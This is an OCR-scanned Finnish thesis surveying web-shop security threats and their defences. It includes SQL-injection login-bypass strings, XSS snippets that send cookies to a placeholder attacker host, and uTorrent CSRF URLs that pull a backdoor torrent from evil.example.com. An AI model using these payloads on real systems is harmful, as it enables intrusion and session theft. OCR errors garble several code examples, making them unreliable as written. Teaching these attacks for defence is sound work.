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1 Johdanto

Tyon tarkoituksena on tutkia yleisempié uhkia, joita verkkokaupat voivat nykyaan koh-
data. Monella yrityksell&, jotka myyvat jotain, on nyky&aén verkkokauppa. Vaikka palvelu
itsessédan olisi ulkoistettu palveluntarjoajalle, olisi hyva tietda edes perusteet uhista ja
niiltéd suojautumisilta, jos joskus yritys kasvaa isommaksi ja perustetaan omasta takaa
verkkokauppa. Itsellani mielenkiinto yleiseen tietoturvaan on herannyt, kun olen seuran-

nut eri tapauksia, joita on tullut ilmi, vimeisempana Yahoon séhkopostien urkinnat.

Verkkokaupan tietoturvaan mielenkiinto herasi, kun perustin verkkokaupan pienemmalle
yritykselle. Kuten monet muutkin pienet yritykset, hekin paatyivat tekeméan verkkokau-
pan ja verkkosivun valmiille alustalle ulkoisen palveluntarjoajan palvelimelle ja heidan
pohjiinsa. Aikaisempaa kokemusta minulla ei juuri aiheesta ole muuta kuin se, mitéa olen
uutisista lukenut ja kuullut ottanut itse selvaa. Tyd on ollut itselleni varsin mielenkiintoinen

oppimisprosessi.

Aiheena verkkokaupan tietoturva on varsin laaja, ja jokaisesta uhasta tassa tydssa voisi
tehdéa laajemmankin tutkielman. Tasta syysta insin66ritydssa on pyritty esittdmaan pe-
rusteet yleisimmisté uhista seka ainakin yhden suojautumistavan monesta. Lopuksi insi-
nodritydssa on vield esimerkki siitd, miten iso kansainvalinen yritys toimii seka esitykset
tahoista, jotka pyrkivat auttamaan verkkosivujen tekijoitd suojaamaan sivunsa hyokkayk-

silta.



2 Uhat ja niiltéa suojautuminen

Tassa luvussa kasitellaan verkkokaupan yleisempid uhkia sovelluksiin liittyvista uhista

ulkoisiin uhkiin.

2.1 Suojaamaton suora olioon viittaus

Suora olioon viittaus (Direct Object References) tapahtuu, kun ohjelma kayttaa suoraan
sisdista objektia, kuten tiedoston tai avaimen nimea. Tama voi tapahtua muun muassa
verkko-osoitteessa. Jos varmennusta ei ole ja sovellus sallii kayttdjien syottaa tiedosto-
nimia tai polkuja lomakkeeseen, voi hytkkaaja tata kautta paasta kasiksi tiedostoihin,

joihin ei ole tarkoitus paasta ilman tunnistautumista.

Esimerkki

Jos sisdista objektia ei ole kunnolla suojattu muuttamalla "hakkeri” -kohdan alla olevasta
verkko-osoitteesta joksikin muuksi tunnukseksi hytkkaaja paasee muiden kayttajien tie-
toja katsomaan.
http://www.kauppani.fi/kayttajat/accountinfo?acct=hakkeri

Suojaus

Suojaaminen talta tapahtuu kayttamalla epasuoria viittauksia objekteihin. N&in saadaan
estettya arvailulla tapahtuva tiedostojen Iéytaminen sekd automaattiset hyokkaykset.

Kun tulee tilanteita, joissa taytyy kayttda suoria viittauksia objekteihin, tulee varmentaa,
etta kayttajalla on oikeus kyseiseen objektiin. [1.]

2.2 SQL-injektio

SQL-injektiolla (SQL injection) tarkoitetaan hyokkaysta, jossa hyokkaaja padsee anta-
maan SQL-tietokannalle SQL-komentoja. Taméa voi tapahtua vaarin tehdyn tai puuttuvan

syottotietotarkistuksen kautta, vaikka kayttajatietokentassa. Injektoimalla hy6kkaaja voi



saada kayttgjista henkilokohtaisiatietoja kuten heidédn tunnuksensa ja salasanansa, tai

halutessaan poistaa tietokannasta tarkeita tietoja asiakkaista. [2.]

Esimerkki

Normaali syéte

K&yttajatunnus [Janne I
Salasana | Salasanani

Injektio tarkoituksena

Kayttajatunnus|"'OR 1=1:/*

Salasana |*/--

Kuva 1. Yksinkertaisen SQL-injektion toteutus

Kuva 1 normaali sytte kasitellaédn oletuksena seuraavanlaisesti.

SELECT * FROM Tunnukset WHERE ID = ‘'Janne' and salasana =

'Salasanani’';

Jos kumminkin hyokkaaja laittaa kayttajatunnus- ja salasanakenttaan injektiota varten

komennot, kuten jalkimmaisessa osassa tapahtuu komennolle seuraavasti:

SELECT * FROM Tunnukset WHERE ID = 'OR 1=1 /*' and salasana = '

*/==1;

Nain hyokkaaja saa valittua kaikki ID-kentét, silla 1=1 on aina totta ja salasanakentan
haku jaa kokonaan toteuttamatta, silla se on maaritelty kommentiksi. Kun hytkkaaja saa

kaikki ID-kentét valittua, voi han poistaa jokaisen kayttajan tiedot tietokannasta.



Sokea SQL-injektion

Sokean SQL-injektio (blind SQL injection) haavoittuvuuden voi hytkkaaja havaita erilai-

silla kyselyilla, jotka palauttavat vastauksen TRUE tai FALSE. Sokeaksi hydkkaysta kut-

sutaan, koska hytkkéaaja ei nde suoraan kyselyidensé tuloksia. Sivusto ei ndyta suoraan

virhettd, vaan joku asia kayttaytyy normaalista poikkeavasti sivustolla.

Esimerkki

Verkkokaupassa seuraava linkki nayttaa tavaran 57, joka on noudettu tietokannasta.

http://www.kauppani.fi/tavara.php?id=57

SQL-pyyntd, jolla toteutetaan pyyntd

SELECT Nimi, Kuvaus, Hinta FROM Tuote Taulukko WHERE id = 57

Hakkeri muuttaa osoitteen seuraavanlaiseksi:

http://www.kauppani.di/tavara.php?id=57 and 1=2

SQL-komento muuttuu

SELECT Nimi, Kuvaus, Hinta FROM Tuote Taulukko WHERE id = 57 and
1=2

Taman johdosta vastaus on FALSE eikd mitdéan tuotetta ndy. Sen jalkeen muutetaan

osoite:

http://www.kauppani.fi/tavara.php?id=57 and 1=1

SQL-komento muuttuu:

SELECT Nimi, Kuvaus, Hinta FROM Tuote Taulukko WHERE id = 34 and
1=1



Palauttaa vastauksen TRUE, ja tavaran 34 tiedot naytetddn. Sivusto on taméan perus-

teella haavoittuvainen injektiolle. [3.]

Suojautuminen

Paras tapa suojautua SQL-injektiolta on kayttaa valmiita k&skyja parametrisoituja kyse-
lyiden kanssa. Nain hyokkaaja ei paase injektoimaan tietokantaa komennoin, silla kun
hyokkaaja syottaa kayttajanimikenttaan "Janne’ or '1'="1" etsitaan tietokannasta juuri sita,
mit& on syotetty, eikd taustalla oleva komento muutu. Tiettyjen merkkien ja sanojen lait-
taminen mustalle listalle ei ole hyva idea, silla ne saattavat olla yleisessa kayttssa jollain

muulla kielella.

2.3 Palvelunestohytkkays

Palvelunestohyokkayksen (DoS, Denial of Service) toteuttamiseen l6ytyy useita tapoja.
Toiset kayttavat niin sanottua "vasytyshyokkaysta” (brute force) tapaa ja toiset sovelluk-
sien haavoittuvuuksia. Hyva esimerkki "vasytyshyokkayksesta" on, kun hyokkaaja kayt-
taé bottiverkkoaan ja lahettaa jokaiselta koneelta samaan aikaan pyyntoja verkkosivulle.
jolloin palvelin ylikuormittuu pyyntdjen maarasta, eika pysty kasittelemé&an niitd. Kuva 2

on tasta esimerkkina.



Master Control
Computer(s)

/

Victim

Kuva 2. Esitys DDoS-hyokkayksesta [4]

Yksi vanhimmista tavoista toteuttaa palvelunestohytkkays on lahettdd suuria maaria
sahkopostia, jotta sdhkopostipalvelimet tayttyisivat eivatka pysty vastaanottamaan
enempéaa sahkopostia. Palvelunestohyokkayksien tavoite on yleensa lamauttaa palvelu
kayttokelvottomaksi, mik& hankaloittaa yrityksen toimintaa ja mahdollisesti siirtaa yrityk-
sen asiakkaat toisen yrityksen asiakkaaksi.

SYN Flooding

SYN Flooding perustuu TCP (Transmission Control Protocol) -liikenteen perustaan eli
kolmiosaiseen kattelyyn, jonka avulla muodostetaan yhteys laitteiden valilla. Se tapahtuu
seuraavanlaisesti: ensin asiakas lahettaa SYN-paketin palvelimelle. Tahan palvelin vastaa
SYN-ACK-paketilla, johon asiakas viela vastaa ACK -paketilla. Taman jalkeen yhteys on
muodostettu. SYN floodingissa asiakas jattaa vastaamatta SYN-ACK-pakettiin, jolloin

palvelin jaa tata odottamaan, tai SYN-ACK-paketit paatyvat jonnekin bittiavaruuteen



kuten Kuva 3 nakyy. [5.]

SYN (SPOOFED) Victim

L 4

Attacker

SYN (SPOOFED)

P

SYN-ACK

SYN-ACK

SYN-ACK

Kuva 3. SYN flood -esimerkki [6]

Suojautuminen

Valitettavasti palvelunestohydkkayksen estoon ei ole yhta helppoa ratkaisua. Yksinker-
taisin tapa suojautua on hankkia lisda muistia, kovalevytilaa ja prosessointitehoa. Tama-
kaan ei kuitenkaan aina auta. Ohjelmien toimivuutta palvelunestohyokkaysta vastaan on
vaikea testata, silla ohjelma saattaa toimia 2000 konetta vastaan, mutta koneita voi olla
100 000:ttakin.

Eric Chan-Tinin tekemien testien mukaan rajoittamalla yhteyksia, joita asiakas voi yhdis-
taa palvelimeen auttaa hajautetun palvelunestohydkkayksen vaikutuksissa [7, s 59].
Myds suurimmassa osassa palveluja on kaytdssa yhteyden pudottaminen, kun yhteys

on ollut kayttamatta tietyn aikaa.

Suomessa operaattorit tarjoavat palveluita palvelunestohyokkayksien estoon. Suojauk-
set on asetettu jo operaattorin runkoverkkoon, jolloin hydkkaysyritykset eivat paase edes
hyokkayksen kohteelle asti ja palvelu toimii normaalisti. Jos verkkokauppa toimii vain
Suomessa, voidaan ulkomailta tuleva likenne suodattaa pois, joka pienentaa palve-

lunestohydkkayksien mahdollista kokoa huomattavasti. Tosin jarjestelmaan pitdad myos



pystya tehda poikkeuksia, silla joillakin yrityksilla on Suomessakin kaytdssa ulkomaalai-

set IP-osoitteet.

Viestintaviraston tilastojen mukaan palvelunestohytkkaysten maara on vahenemassa
Suomessa. Ne olivat osallisena vain viidessa tietoturvaloukkauksessa vuonna 2015.
Heidan mukaansa yleisemmat palvelunestohyokkays kohteet ovat teleyritykset ja heidan

asiakkailleen tarjoamat www-palvelimet. [8.]

2.4  XSS-hyodkkaykset

XSS-hybdkkayksissa (Cross-Site Scripting) kaytetaan komentosarjoja, jotka on saatu
upotettua muuten luotettaviin ja tunnettuihin sivuihin. Hyokkays tapahtuu, kun hytkkaaja

kayttaa verkkosovellusta lahettaakseen koodin toiselle kayttajalle.

Usein hyokkaajat kayttavat erilaisia tapoja peittddkseen oman “pahan” osansa, jotta
pyynnot eivat nayttaisi epailyttavilta kayttajille. XSS -ongelmat esiintyvat useimmiten
verkkosivuilla ja verkkosovelluksissa. [9] XSS-hydkkaykset on jaettu kolmeen kategori-
aan: pysyva, ei-pysyvéa ja DOM injektion.

2.4.1 Pysyva XSS -hyokkays

Pysyva XSS-hyokkays (persistent XSS) on kaikista eniten tuhoa aiheuttava XSS-hyok-
kaystapa. Talléin komentosarja on saatu sailoon, esimerkiksi verkkosivun tietokantaan,
foorumeille tai blogin kommenttikenttaan. Silloin komentosarja on osa verkkosivua.
Tama suoritetaan aina, kun uhri lataa verkkosivun. [10.] Pysyvan XSS-hyokkayksen
avulla voidaan ottaa uhrin selain hallintaa, kaapata salaista tietoa ja monia muita haital-

lisia tekoja.



Esimerkki

POST http://website/post-comment

Website

Attacker
‘Website's Database

Attacker's Browser <scripts. . .<fscript> latestComment: <script>window.location='http:/attacker/

?cookie="+document. cookie</scripts
Attacker's Server . .

Website's Response Script
print "<html>"

print "Latest comment:”
print database.latestComment

print "</html>"
n GET http://attacker/?cookie=sensitive-data

Website's Response to Victim GET http://website/latest-comment

Victim's Browser

200 OK

<html=

Latest comment:

<scripts
window.location="http://attacker/?cookie="+document.cookie

<fscripts
<fhtml=

Kuva 4. Pysyva XSS-hyokkaysesimerkki. [11]

Kuva 4 hyokkaaja on huomannut, etta verkkokaupan arvostelukentat sallivat HTML-

merkkien kayton. Han antaa sitten "arvostelun” tuotteelle

Mahtava tuote, todella hintansa arvoinen. Ollut jo paljon kaytdssa

<script src="https://hakkerisivu.com/evasteryodstd.js”>

Taman jalkeen jokaisella kerralla, kun sivu avataan, komentosarja ajetaan ja hydkkaaja
saa jokaisen kavijan istuntoevasteet, vaikka uhrit eivat olisi lukeneetkaan arvosteluja.

Istuntoevésteen avulla hyokkaajalla on helppo paasy uhrin tietoihin.

2.4.2 Ei-pysyva XSS

Ei-pysyva XSS-hyokkays (reflected XSS) on yleisin XSS-hyokkaystyyppi. Tassa haitalli-
nen komentosarja on osa pyynt6a, joka lahetetaan verkkopalvelimelle ja lahetetdan ta-
kaisin siten, ettd HTTP-vastaus sisaltdd HTTP pyynndn. Urkinta sahkoposteilla ja sosi-
aalisella manipuloinnilla hyokk&aja houkuttelee uhrin tekemaan XSS-komentosarjan si-
saltdvan pyynnon palvelimelle talloin uhri ajaa komentosarjan selaimessaan. Koska

hyokkays ei ole pysyva hyotkkaajan pitda toimittaa haitallinen linkki kaikille uhreille. [10.]
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Esimerkki

Kuva 5 hyokkaaja lahettaa linkin uhrille, joka avaa sen. Samalla kun uhri avaa linkin,
verkkosivu sisallyttdéd linkissa olleen komentokehotteen vastauksessaan. Uhrin selain

suorittaa komentokehotteen ja lahettaé evasteet hyokkaajalle.

Attacker

Attacker's Server

Website

Website's Response Script

print "<htmls"
print "You searched for:"
print request.query["keyword"]
print "</html="

Check this out:
http://website /search?
keyword=<script>...</script=

GET http://attacker/?cookie=sensitive-data

GET
http://website/search?
Website's Response to Victim keyword=<scripk>...</script>

Victim's Browser
200 OK

<html>

You searched for:

<scripts

window. location="http: [ /attacker/?cockie="+document.cookie

<fscripts
</htals>

Kuva 5. Ei-pysyva XSS-hyokkaysesimerkki [11]

2.4.3 Dokumenttioliomallipohjainen XSS-hyokkays

Dokumenttioliomallipohjainen hydkkays on kehittynyt XSS-hyokkays. Se on mahdollista,
kun verkkosovelluksen asiakaspuolen komentosarjat kirjoittavat kayttajan tarjoaman da-
tan dokumenttioliomalliin, joka mahdollistaa vuorovaikutteisten verkkosivujen tekemisen
iiman jatkuvaa palvelinyhteytta. Tiedot luetaan DOMi:sta ja sydtetddn selaimeen. Jos
tietoja kasitellaan vaarin, voi hyokkaaja injektoida komentosarjan, josta tulee osa DOMia,
ja se suoritetaan, kun tietoja luetaan DOMista. [12.] DOM-hyokkaykset toteutetaan usein
siten, ettd komentosarja ei mene palvelimelle asti, joten palvelimen tunnistusohjelmat

eivat tunnista hyokkaysta.

2.4.4 Suojautuminen

Hyvia yleispatevia suojautumiskeinoja kaikkia XSS-hyokkayksia vastaan ovat syotteen

siistiminen, kaiken ep&luotettavan datan estaminen seka virhesanomien muokkaaminen
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muotoon, josta hyokkaaja ei voi kayttaa niitéd suoraan hyvakseen. Sy6tetta voidaan muo-
kata muuttamalla joitain merkkeja esimerkiksi: & muutetaan muotoon "&amp;”. Kun ky-
seiset merkit muutetaan komentosarjaa, ei suoriteta, vaan sytte kasitellaan pelkkéna

teksting, ja sovelluksen omaa koodia ei pystyta muokkaamaan.

2.5 CSRF-hyokkays

CSRF (Cross-Site Request Forgery) on hyokkays, jossa pyritédn saamaan kayttajan se-
lain toteuttamaan haitallinen pyynto luotetulle verkkosivulle, jonne kayttaja on kirjautunut.
Taman tyyppisilla hyokkayksilla pystytaan vaihtamaan asiakkaan sahkodpostiosoite tai

salasana, mahdollisesti jopa ostaa jotain. [13]

Esimerkki

Esimerkiksi pTottentissa oli tallainen jo korjattu haavoittuvuus (CVE-2008-6586), jossa
verkkokonsoli salli mission-critical-komennot GET-pyyntdina. Hydkkays toteutettiin seu-
raavilla komennoilla:

Talla komennolla pakotettiin .torrent-tiedoston latauksen.

http://localhost:8080/gui/?action=add-

url&s=http://evil.example.com/backdoor.torrent

Talla komennolla vaihdettiin uTottentin paakayttajan salasana.

http://localhost:8080/gui/?action=setsetting&s=webui.pass-

word&v=eviladmin

Hyokkayksessa kaytettiin automaattisia toimintoja, jotka siséllytettiin HTML-kuvaelemet-

teihin foorumeilla ja s&hkopostihuijauksiin.

<img src="http://localhost:8080/gui/?action=add-

url&s=http://evil.example.com/backdoor.torrent">
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Haavoittuneilla sivulla kavijat ajoivat koodin automaattisesti ilman kayttajien toimintoja,

mikali heilla oli uTottent kdynnissa. torrent-tiedoston latauksen

Suojautuminen

Yksi tapa suojautua CSRF-hyokkaykselta on tarkistaa Origin Header ja Referer Header
ovat samat kuin kohteella. Ainakin toinen néaista l0ytyy yleensé jokaisesta pyynnosta.
Vaikka ylatunniste onkin helppo muokata omasta selaimesta. Sen muokkaaminen
CSRF-hyotkkaysta varten on lahes mahdotonta. Jos kumminkin molemmat ylatunnisteet
puuttuvat, on suositeltavaa estaa pyynto. [15.]

Edellisen lisdksi myos kaytetddn lisatunnistautumista kuten lisdamalla uniikki ja salattu
tunniste HTML-lomakeisiin ja tarkistuttaa se palvelimella kayttaen yhta tunnistetta jo-
kaista istuntoa kohden. On myds mahdollista suojautua CSRF-hydkkaykselta evasteiden
alulla. Kun kayttaja kirjautuu sisdan sivulle, sivusto luo satunnaisen evasteen kayttajan
koneelle, joka on erillinen istunnon tunnisteesta. Hyokkaaja ei pysty lukemaan evéasteen
arvoa eika nain ollen mydskaan muokkaamaan sita. Vaikka hytkkéaaja onnistuisi huijaa-
maan jotain kayttajaa kayttamaan hanen linkkidnsa, ei han pysty toteuttamaan pyyntéja,

silla evasteen arvo ei ole sama kuin pyynnon.

2.6 Rikkinainen todennus ja istunnon hallinta

Kun kayttgjien istuntojen tunnukset nakyvat verkko-osoitteessa tai jos istunnot eivét van-
hene tarpeeksi nopeasti ikkunan sulkemisen jalkeen, voi joku toinen kuin varsinainen

kayttaja ostaa tuotteita hanen kortillansa. [16.]

Esimerkki

http://esimerkki.fi/hotellit/sessionid=644223546&dest=Tukholma

Kirjautunut kayttaja lahettaa kyseisen linkin kavereilleen heidan keskustelussaan. Hotel-
lin varausjarjestelma tukee verkko-osoitteen uudelleenkirjoitusta ja sijoittaa istunnon tun-
nisteen verkko-osoitteeseen. Istunnon hallinta on myds toteutettu huonosti, joten kayt-
taja jakaa tietamattddn hanen istuntonsa tunnisteen. Kun kaverit kayttavat hanen linkki-

aan, he kayttavat hanen istuntoaan, joka sisadltdd myds hanen luottokorttitietonsa.
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2.7 Vaarat tietoturva-asetukset

Vaarat tietoturva-asetukset ovat, kun palvelimen yllapitajien tunnuksilla on vield kaytdssa
oletussalasanat, verkkoympéristdssa on turhia ominaisuuksia paalla (portteja auki, kayt-
tajilla vaaria oikeuksia) ja virheilmoitukset antavat liikkaa tietoja kayttajille. [17] Yleisesti
ottaen, kun tekee oletuskayttgjia tai yllapitajatunnuksia, luontiprosessissa nimissa ja sa-
lasanoissa ei ole paljon eroavaisuuksia sovelluksien valilla. N&ain ne ovat myos helposti
arvattavissa ja testattavissa. Jos oletustunnukset jadvat paalle, on hyokkaajalla helppo
tyd ottaa hallintaan koko yllapitoportaali. Kun luo tunnuksia, tulee salasanat vaihtaa. Kun
luo kayttajatunnuksia toiselle, on hyva tapa vaihtaa oletussalasana valmiiksi toiseen,

vaikka antaisi kayttajalle mahdollisuuden vaihtaa salasanaa itse.

2.8 Kilikinrydsto

Klikinrydstosta puhutaan, kun hyokkaaja on onnistunut laittamaan verkkosivulle esimer-
kiksi ylimaaraisen, ndkymattoman linkin tai nappulan toisen paalle. Esimerkiksi vaikka
jollain verkkosivulla olisi linkki "lue lisda...", hyokkaaja olisi saanut siihen paalle ylimaa-
raisen iframen linkilla, jonka avulla hyokkaaja ryostaa kayttajan selaimesta evasteet it-

selleen.

Tallaista tapaa kayttaen on muun muassa saatu Facebookiin kirjautuneita henkildita tyk-
kdamaan sivuista ja ryhmista heidan tietamattaan. Myods Adoben Flash-asetus-sivu on
ollut uhrina. Sivuille oli upotettu iframe, jonka avulla annettiin jokaiselle flash-animaatiolle
lupa kayttaa tietokoneen mikrofonia ja kameraa. Myds Twitter-seuraajia on keratty tahan

tapaan. [18.]

Suojaus

On kaksi paatapaa suojautua Klikinry6stolta: asettaa kunnon X-Frame-Options HTTP -
vastaus ylatunnisteet, jotka ilmoittavat selaimelle, etteivat salli kehyksid muista verkko-
tunnuksista seka kayttamalla suojaavaa koodia, jonka avulla varmistetaan, ettéd omat ke-

hykset ovat paéallimmaisena eivatkd muut paase paallimmaisiksi.
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Pakettien urkintahyokkaykset ovat verrattavissa salakuunteluun. Hyokkaaja kokeilee na-

pata kahden tai useamman laitteen valilla kulkevia paketteja ja toivoo l6ytadvansa kaytta-

jatunnuksia ja salasanoja. Vaikka hyokkaajalla pitaakin olla laite kahden kommunikoivan

laitteen valissa, tAm& muodostuu ongelmaksi, jos asiakas kayttaa vaikkapa julkista lan-

gatonta verkkoa eik& suojaa dataliikennettaan. Pakettien valista tutkimisen saa kummin-

kin estettya salaamalla likenteen kayttajan ja liikkeen valilla. Talldin hyokkaaa nakee

lahteen ja kohteen, mutta jos data on suojattu, se nakyy epdaluettavassa muodossa.

< |

= Domain Name System (response)
Request In: 381
[Time: 0.025771000 seconds]
Transaction ID: Oxcfif

Questions: 1
Answer RRs: 6
Authority RRs: 0
Additional RRs: 0
El Queries
E www.cnn.com: type A, class IN
Name: www. Cnn. com
Type: A (Host address)
class: IN (0x0001)
B Answers
& www.cnn. com: type A, c1ass IN

@ Frame 384 (167 bytes on wire, 167 bytes captured)

@ Ethernet II, Src: Sparklan_04:d0:9e (00:0e:8e:04:d0:9e), Dst: HonHaiPr_26:66:a2 (00:1c:26:26:66:a2)
@ Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.28 (192.168.0.28)

@ User Datagram Protocol, Src Port: domain (53), Dst Port: 62872 (62872)

@ Flags: 0x8180 (standard query response, No error)

0000 00 1c 26 26 66 a2 00 Oe 8e 04 d0 9e 08 00 45 00
0010 00 99 00 00 40 00 40 11 b8 e6 cO a8 00 01 cO a8
0020 00 1c 00 35 f5 98 00 85 98 5a cf 1f 81 80 00 01
0030 00 06 00 00 00 00 03 77 77 77 03 63 6e 6e 03 63
0040 6f 6d 00 00 O1 00 O1 cO Oc 00 O1 00 O1 00 00 00
0050 b7 00 04 40 ec 5b 15 cO Oc 00 01 00 01 00 00 00
0060 b7 00 04 40 ec 5b 17 cO Oc 00 01 00 O1 00 00 00
0070 b7 00 04 40 ec 10 14 cO Oc 00 01 00 01 00 00 00

This is a response to the DNS query in this fr... | Packets: 1273 Displayed: 909 Marked: 0 Dropped: 0 | Profile: Default

[ (Untitled) - Wireshark E=EER )
File Edit View Go Capture Analyze Statistics Help
Ul BEXEE AT QaQaQf | @Bm % 8
Filter: | v Expression.. Clear Apply
No. . Time Source Destination Protocol  Info &
366 11.767290 192.168.0.31 192.168.0.28 SNMP get-response SNMPV2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.7.1
367 11.768865 192.168.0.28 192.168.0.31 SNMP get-request SNMPV2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.8.1.
369 11.775952 192.168.0.31 192.168.0.28 SNMP. get-response SNMPV2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.8.1
381 12.286091 192.168.0.28 192 168.0. 1 DNS Standard query A www.cnn.com
. 31186 92.168.0.1 192.168.0. U 64.236.91.2
385 12.312727 192.168.0.28 64.236.91. 21 TCP 56606 > http [SYN] Seq=0 w1n=8192 Len=0 MS5=1460 WS=2
386 12.361495 64.236.91.21 192.168.0.28 TCP http > 56606 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460
387 12.361583 192.168.0.28 64.236.91.21 TCP 56606 > http [ACK] Seq=1 Ack=1 Win=17520 Len=0
388 12.361805 192.168.0.28 64.236.91.21 HTTP GET / HTTP/1.1
389 12.413166 64.236.91.21 192.168.0.28 TCP http > 56606 [ACK] Seq=1 Ack=845 win=6960 Len=0
390 12.413611 64.236.91.21 192.168.0.28 TCP [TcP segment of a reassembled PDU]
301 12.414386 64.236.91.21 192.168.0.28 TCP [Tcp segment of a reassembled PDU] -

i »

(T

addr‘ 64.236.91.21 o,

>

m

Kuva 6. Pakettien urkinta -sovellus kaynnissa. [19]

Kuva 6 on pakettien urkintasovellus kdynnissa. Siitd ndkee, minne mikakin paketti

menossa ja mita protokollaa kaytetdan. Myods pakettien info nakyy.

on
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Esimerkki

Asiakkaan ja verkkokaupan valilla likenne ei ole salattua, vaikka tdma on jo PCI DSS -
standardin vastaista. Asiakas on kahvilassa selailemassa tuotteita verkkokaupasta ja
ostaa sielté jotain. Hanella on tunnukset verkkokauppaan, jonne on tallennettu osoitetie-
dot ja luottokortin tiedot. Hyokkaaja sattuu olemaan myos samassa kahvilassa kahvilla
ja ajaa pakettien urkintaohjelmaa kahvilan julkisessa verkossa. Han huomaa asiakkaan
ja verkkokaupan valisen liikenteen, ja koska sita ei ole suojattu, h&n saa asiakkaan evas-
teet istuntojen valiltd haltuun ja sita kautta asiakkaan kirjautumistiedot.

2.10 Sosiaalinen manipulointi

Sosiaalisella manipuloinnilla tarkoitetaan toimintaa, jolla yritetddn saada kohde paljasta-
maan tietoja itsestaén, joilla padsee salattuihin tietoihin. Luottamus pyritaan yleensa
saavuttamaan esiintymalla jonkun jo valmiiksi luotetun tahon edustajana. Perinteisem-
mat tavat tehda sosiaalista manipulointia on l&hettdd huijaussahkoposteja, vaikka tekni-
sen tuen edustajana ja pyytdad kayttajatunnuksia, jotta saisivat jonkun ongelman korjat-
tua tai soittaa suoraan yrityksen tyontekijéille auttaakseen heitd. Isommissa yrityksissa
on varsin todennékadista, etta joku on laittanut avunpyynnén tukeen ja jotkut ovat varsin
tyytyvaisid, kun heille vastataan nopeasti. Hyokkaaja voi myos jattaa fyysisen laitteen
kuten USB-tikun paikkaan, josta se lIoydetaan varmasti toivoen, etta se laitetaan konee-
seen kiinni, josta paésee levittamaan jonkun haittaohjelman yrityksen verkkoon tai sitten

tuhota kone, johon se on laitettu kiinni.
Suojaus
Henkilbkunnan kouluttamisella voidaan monet sosiaalisen manipuloinnin haitoista estaa.

Kun my0ds loytyy helppo tapa raportoida mahdolliset hytkkaysyritykset, saadaan niista

tieto nopeasti ja voidaan varoittaa tyontekijoitd nopeasti ja myos estaa hyokkaykset.
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3 Tietoturvaan erikoistuneita tahoja

Tassa luvussa kasitelladn kolme tahoa, jotka liittyvat vahvasti verkkokaupan tietoturvan

suunnitteluun ja tiedottamiseen.

3.1 PCI Security Standard Council

PCI Security Standard Council on riippumaton toimielin, jonka ovat perustaneet Master-
Card Worldwide, American Express, Visa International, JCB ja Discover Financial Ser-
vice, on luonut PCI DSS -standardin (Payment Card Industry Data Security Standard).
PCI DSS -standardilla ohjataan maksukorttilikenteen tietoturvaa, ja sen noudattaminen
koskee kaikkia maksukorttitapahtumia kasittelevia tahoja. Sen tarkoituksena on tehda

kortilla maksamisesta turvallista.

Standardia on kaikkien, jotka kasittelevat maksukortti tietoja, noudatettava. Vaikka yritys
ulkoistaisi maksutavat, on se silti vastuussa siita, ettd sopimuskumppani noudattaa stan-
dardia. Mikali yritys ei noudata téta standardia ja heiltd vieddan korttitietoja, saa yritys
siitd sanktiot.

PCl-standardin osa kannattaa rajata johonkin tiettyyn osa-alueeseen, silla jos sen pitaisi
kattaa koko yrityksen jarjestelma, olisi sen yllapitaminen kallista ja hankalaa. PCI Secu-
rity Standard Councilin verkkosivuilta saa hyvat ohjeet PCI DSS -standardista, miten
suojata asiakkaiden dataa. Taulukko 1, ndkyy PCI DSS -standardin paavaatimukset. Jo-

kaisesta osasta loytyvat tarkemmat ohjeet standardin omasta dokumentaatiosta.
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Taulukko 1. PCI DSS -standardin paavaatimukset on jaettu kuuteen luokkaan. [20]

Tietoturvakaytanteiden yllapito

Luokka PCI DSS Vaatimukset
1. Asenna ja yllapida palomuuriratkaisua
Turvallisen verkon rakentaminen ja yllapito -
2. Ala kayta jalleenmyyijien tarjoamia ole-
tussalasanoja tai -asetuksia
3. Salaa kortinhaltijoiden tiedot, joita lahe-
Kortinhaltijoiden tietojen suojaaminen tetadn julkisissa verkoissa
4. Suojaa tallennetut kortinhaltijatiedot
5. Kayta ja paivitd saanndllisesti virustor-
Haavoittuvuuksilta suojaavien ohjelmistojen yl- juntaohjelmisto
lapito 6. Kehita ja yllapida tietoturvallisia jérjes-
telmid ja ohjelmistoja
7. Rajaa paasy kortinhallinta tietoihin vain
niille joiden on pakko
Tiukan paasynhallinnan kayttéénotto 8. ‘Fet? yksﬂolhr_wen tunnus k§|!§|lle henki-
I6ille joilla on tietokoneille paasy
9. Rajoita fyysistd péaésya kortinhallinta
tietoihin
10. Seuraa ja valvo paasya kaikkiin verkko-
Verkkojen saannéllinen seuranta ja testaami- resursseihin ja kortinhaltija tietoihin
nen 11. Testaa saanndllisesti tietoturvajarjestel-
mét ja -prosessit
12. Luo ja yllapida koko henkilostoa koske-

vat tietoturvakaytanteet.

3.2 OWASP

OWASP (Open Web Application Security Project) ei tavoittele voittoa. Se pyrkii paranta-

maan sovelluksien tietoturvaa. OWASP:lla on laaja wikikirjasto, josta kuka tahansa voi

hakea tietoa parantaakseen sovelluksiensa tietoturvaa. Wikikirjastolla on tuhansia aktii-

visia kayttdjid, jotka pitdvat huolen siitd, etta sivujen oikein pitavyys ja laatu sailyvat.

OWASP:n tarkoituksena on pysya ulkopuolisena tahona, jotta he pystyvat tarjoamaan

puolueetonta dataa. OWASP:n tarjoamiin tietoihin viitataan useassa paikassa. Myos PCI

Security Standard Councilin on kayttanyt sitéd apunaan luodessaan standardin dokumen-

taatiota.
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OWASP tarjoaa myds Top 10 -listan pahimmista haavoittuvuuksista. Top 10 -lista on
tehty ensimmaisen kerran vuonna 2004, jonka jalkeen se on paivitetty kolmen vuoden
valein. Uusin versio on vuodelta 2013. Tata tyota tehdessa he ovat aloittaneet tietojen
kerayksen yrityksiltd uuden listan tekemista varten. Lista tarjoaa kuvauksen haavoittu-

vuudesta, esimerkkeja seka ohjeet, kuinka suojautua haavoittuvuudelta.

3.3 Viestintavirasto

Viestintaviraston tehtavana on valvoa sdhkdisen viestinnan tietosuojalain seka sen

nojalla annettujen séanndsten ja maaraysten noudattamista. [21]

Viestintavirastolla on kyberturvakeskus, joka tarjpaa muun muassa varoituksia. Kyber-
turvallisuuskeskukselle kuuluu myos CERT- ja NCSA -tehtavat.

Viestintavirastolla on myo6s kdynnissa HAVARO-jarjestelma, joka on tarkoitettu huolto-
varmuuskriittisille toimijoille seka valtionhallinnolle. Tarkoituksena on saada tiedot tieto-
